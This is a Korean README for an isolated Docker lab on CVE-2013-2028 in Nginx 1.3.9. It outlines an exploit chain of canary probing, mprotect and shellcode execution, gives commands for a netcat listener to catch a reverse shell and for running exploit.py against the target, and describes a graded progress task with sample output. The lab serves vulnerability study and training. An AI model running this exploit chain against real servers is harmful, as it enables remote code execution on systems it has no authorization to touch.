
Docker 기반 랩과 CVE-2013-2028에 대한 Python 익스플로잇으로, Nginx 1.3.9 청크 파서 정수 오버플로를 다루며 카나리 복구, mprotect, 셸코드 실행을 포함합니다.
취약한 소프트웨어: Nginx 1.3.9
취약한 함수: ngx_http_parse_chunked
CVE-2013-2028은 Nginx의 HTTP 청크 전송 인코딩 파서에 존재하는 정수 오버플로 취약점입니다. 이 실습 환경에서 대상으로 하는 조건에서는 해당 취약점으로 인해 메모리 손상이 발생할 수 있으며, 제어 흐름에 영향을 주는 데 악용될 수 있습니다.
이 저장소는 취약점을 연구하고 익스플로잇 워크플로를 재현하기 위한 격리된 Docker 기반 환경을 제공합니다.
전체 익스플로잇은 네 가지 주요 단계로 구성됩니다:
스택 카나리 복구
바이트 단위 프로빙을 통해 스택 카나리를 복구합니다.
메모리 보호 조작
관련 주소 정보를 계산하고, 제어된 메모리 영역에 대해 mprotect를 호출하기 위해 필요한 제어 흐름 시퀀스를 구성합니다.
셸코드 배치
페이로드를 제어된 메모리 영역에 복사합니다.
제어 흐름 전환
실행 흐름을 제어된 메모리 영역으로 전환합니다.
전체 익스플로잇은 취약한 파서를 트리거하는 것부터 메모리 손상과 제어 흐름 조작을 거쳐 제어된 코드 실행에 이르는 과정을 보여줍니다.
exploit.py에 필요한 Python 의존성netcat호스트 시스템에서 설정된 포트에 리스너를 시작합니다:
nc -lvp 4345
익스플로잇을 실행할 때 --listenerport (-lp) 인수에 동일한 포트를 사용하십시오.
Docker 환경을 빌드하고 시작합니다:
sudo docker-compose up --build
취약한 대상은 컨테이너 내부에서 Nginx 1.3.9를 실행합니다.
다음 명령으로 Nginx 버전을 확인할 수 있습니다:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
다음을 실행합니다:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
익스플로잇은 최종 페이로드를 취약한 대상에 전송하기 전에 카나리 복구 및 페이로드 구성 단계를 수행합니다.
이전에 복구한 카나리가 있는 경우 다음과 같이 제공할 수 있습니다:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
이 저장소는 취약점 연구 워크플로의 진행 상황을 평가하기 위한 중간 과제도 제공합니다.
다음을 실행합니다:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
중간 과제는 실행 중인 Docker 대상에 대해 직접 검사를 수행합니다. 수동으로 생성한 증거 파일이나 수동으로 제공한 JSON 어서션에 의존하지 않습니다.
이 과제는 두 가지 영역을 검증합니다:
이 과제는:
이 과제는:
nginx -t를 사용하여 Nginx 구성을 검증합니다.구성 검사는 Nginx 구성이 구문적으로 유효함을 확인합니다. 이는 그 자체로 CVE-2013-2028이 완화되었다는 증거로 해석되어서는 안 됩니다.
예시 출력:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
중간 과제는 이러한 런타임 검사 결과를 다음 위치에 저장합니다:
grader_state.json
이 파일은 검사에서 생성된 상태를 유지하기 위해서만 사용됩니다. 취약점 판정의 근거가 아닙니다.
실습 환경은 의도적으로 CVE-2013-2028의 영향을 받는 오래된 Nginx 릴리스인 Nginx 1.3.9를 사용합니다.
Docker 환경은 취약점 연구 및 익스플로잇 실습을 위한 격리된 대상을 제공합니다. 취약한 서비스는 실습 구성에서 노출된 인터페이스를 통해서만 접근해야 합니다.
이 저장소는 격리된 실습 환경에서 교육 및 승인된 보안 연구 목적으로만 사용하도록 의도되었습니다.
소유하지 않았거나 테스트에 대한 명시적 승인이 없는 시스템에 대해 익스플로잇을 실행하지 마십시오.